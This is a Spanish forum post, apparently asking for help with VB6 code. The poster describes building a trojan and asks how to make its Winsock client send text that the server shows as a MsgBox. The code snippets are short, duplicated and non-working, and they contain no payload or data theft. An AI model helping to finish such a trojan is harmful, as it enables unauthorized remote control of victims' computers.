estoi haciendo un troyano y quiero q el cliente le mande un mensaje al servidor y el servidor haga un MsgBox
lo hice en un form aparte y me funciono pero cuando lo quiero agregar a mi troyano no resulta
esto es lo q hago tengo 2 Textbox 1 Command 3 option
textbox = Titulo del msg el otro es el mensaje
el command = el q envia los textbox y la info de los value de los option
los option = eliges si es critical, exclamation, question
lo q quiero es q el command mande esto :
msg| titulo | Msg | Falso | Falso | Verdad
(los falso falso verdad son los value de los option)
bueno y el server los reciva y q identifique cual es cual

esto es lo q tengo :
Cliente :
Citar
Private Sub enviar_Click()
Dim chat As Variant
chat = Text1.Text & Text2.Text
frmmain.Ws(vIndex(0)).SendData "msg" & chat
End Sub
Dim chat As Variant
chat = Text1.Text & Text2.Text
frmmain.Ws(vIndex(0)).SendData "msg" & chat
End Sub
Server :
Citar
Dim chat As Variant
If Data = "msg" Then
MsgBox chat, vbCritical, chat
End If
If Data = "msg" Then
MsgBox chat, vbCritical, chat
End If
solo funciona cuando no tengo escrito nada en los text y no sale na en los mensajes

porfa una ayudita aun no se mucho de vb





Autor


En línea



es por eso que la condicion no se cumple
si alguien sabe como hacer para q el servidor tire el msg cuando reciva la palabra y el mensaje q me diga pls 




